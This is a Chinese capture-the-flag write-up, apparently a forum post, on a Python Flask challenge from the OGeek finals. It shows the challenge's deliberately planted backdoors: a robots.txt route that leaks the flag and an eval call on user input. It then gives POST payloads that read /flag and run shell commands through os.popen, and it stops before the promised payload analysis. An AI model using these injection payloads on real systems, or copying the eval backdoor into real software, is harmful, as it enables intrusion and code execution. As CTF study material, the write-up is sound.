前言

ogeek决赛已经过去大半个月,看到题目才想起来wp没写.

决赛一共有3道web题,php,java,python都有.但我的php和java代码审计水平有点菜,只能抱队友大腿折腾python这种漏洞比较明显的才勉强过得了日子.

赛制很友好,防守也能得分,最后大多数队伍防守分都是攻击分的两三倍.

题目源码:https://pan.baidu.com/s/1YgjnLu17KBr1KVMlymfsyw

复现

python的flask框架,比起php和java的几十上百个文件,python的代码就友好的多了.

主要逻辑都在app.py里面,python的漏洞也比较明显,web3是大多数队伍的主要攻击目标.

robots后门

见面就是一个简陋的后门,

@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', open('/flag','r').read(), as_attachment=True)

把flag放在robots.txt里,访问就可以拿到.

eval后门

def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)

定义了一个很奇怪的函数,一看就知道是刻意设置的后门,全局搜索哪里调用.

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        ...

        if len(msg)>27:
            return render_template('message.html', msg='留言太长了!', status='留言失败')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

看到message中有调用,且有简单限制,msg长度得小于27个字符且不能有空格和下划线,type只能输入一个字符

读flag的poc比较简单,payload如下:

post: type='&msg=%2bopen('/flag').read()%2b'

赛后花了不少时间思考能不能getshell,折腾半天终于成功,正好27个字符.

post: msg=%2Bos.popen("echo%09-n%09b>>a")%2B'&type='

简单分析payload,

点击收藏 | 3 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖